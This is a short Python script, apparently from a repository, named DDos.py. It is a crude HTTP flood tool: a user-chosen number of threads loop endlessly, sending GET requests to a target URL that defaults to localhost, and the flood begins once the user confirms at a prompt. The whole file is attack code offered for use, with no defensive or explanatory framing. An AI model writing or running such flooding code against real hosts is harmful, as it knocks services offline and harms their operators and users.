justservantiddos/DDos.py

22 lines
531 B
Python

import requests
import threading
import tqdm
target = "http://localhost:8080"
activ = False
def attack(target):
global activ
while True:
if activ:
try:
requests.get(target)
except Exception as e:
print(e)
threads = []
print("setting up threads...")
for i in tqdm.tqdm(range(int(input("threads: ")))):
threads.append(threading.Thread(target=lambda: attack(target)).start())
if input("do you want to start the attack now? y/n: ") == "y":
activ = True